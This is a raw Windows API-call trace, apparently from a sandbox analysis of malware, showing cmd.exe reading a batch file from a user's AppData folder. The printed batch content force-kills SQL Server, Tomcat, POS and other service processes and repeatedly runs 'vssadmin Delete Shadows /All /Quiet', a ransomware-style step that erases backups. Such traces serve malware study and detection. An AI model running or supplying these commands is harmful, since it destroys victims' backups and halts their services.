SetConsoleInputExeNameW () returned 0x1 [0084.495] GetConsoleOutputCP () returned 0x1b5 [0084.495] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0084.495] SetThreadUILanguage (LangId=0x0) returned 0x409 [0084.496] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0084.496] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0084.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0084.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=429, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ad [0084.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0084.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ad [0084.496] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x4c3, lpOverlapped=0x0) returned 1 [0084.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1219, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1219 [0084.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0084.496] GetFileType (hFile=0x74) returned 0x1 [0084.496] _get_osfhandle (_FileHandle=3) returned 0x74 [0084.496] SetFilePointer (in: hFile=0x74, lDistanceToMove=-1178, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d6 [0084.497] _tell (_FileHandle=3) returned 470 [0084.497] _close (_FileHandle=3) returned 0 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0084.497] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0084.500] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.500] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.500] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0084.500] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0084.500] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0084.502] CloseHandle (hObject=0x74) returned 1 [0084.503] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0085.077] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0085.077] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0085.077] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0085.077] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0085.077] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0085.077] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0085.077] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0085.077] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0085.077] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0085.078] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0085.078] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0085.078] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0085.078] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0085.078] SetConsoleInputExeNameW () returned 0x1 [0085.078] GetConsoleOutputCP () returned 0x1b5 [0085.078] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0085.078] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.078] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0085.078] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0085.078] _get_osfhandle (_FileHandle=3) returned 0x78 [0085.078] SetFilePointer (in: hFile=0x78, lDistanceToMove=470, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d6 [0085.078] _get_osfhandle (_FileHandle=3) returned 0x78 [0085.078] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d6 [0085.078] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x49a, lpOverlapped=0x0) returned 1 [0085.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1178, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1178 [0085.079] _get_osfhandle (_FileHandle=3) returned 0x78 [0085.079] GetFileType (hFile=0x78) returned 0x1 [0085.079] _get_osfhandle (_FileHandle=3) returned 0x78 [0085.079] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x211 [0085.079] _tell (_FileHandle=3) returned 529 [0085.079] _close (_FileHandle=3) returned 0 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0085.079] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0085.080] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0085.080] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.081] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.081] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0085.081] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0085.081] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0085.083] CloseHandle (hObject=0x78) returned 1 [0085.083] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0085.083] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0085.083] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0085.752] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0085.752] CloseHandle (hObject=0x74) returned 1 [0085.752] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0085.752] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0085.752] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0085.753] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0085.753] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0085.753] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0085.753] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0085.753] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0085.753] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0085.753] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0085.753] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0085.753] SetConsoleInputExeNameW () returned 0x1 [0085.753] GetConsoleOutputCP () returned 0x1b5 [0085.753] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0085.753] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.753] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0085.753] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0085.753] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.753] SetFilePointer (in: hFile=0x74, lDistanceToMove=529, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x211 [0085.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x211 [0085.754] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x45f, lpOverlapped=0x0) returned 1 [0085.754] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1119, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1119 [0085.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.754] GetFileType (hFile=0x74) returned 0x1 [0085.754] _get_osfhandle (_FileHandle=3) returned 0x74 [0085.754] SetFilePointer (in: hFile=0x74, lDistanceToMove=-1044, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25c [0085.755] _tell (_FileHandle=3) returned 604 [0085.755] _close (_FileHandle=3) returned 0 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0085.755] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0085.756] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0085.756] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0085.756] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0085.756] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0085.756] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0085.756] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0085.756] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.756] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.756] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0085.756] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0085.756] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, 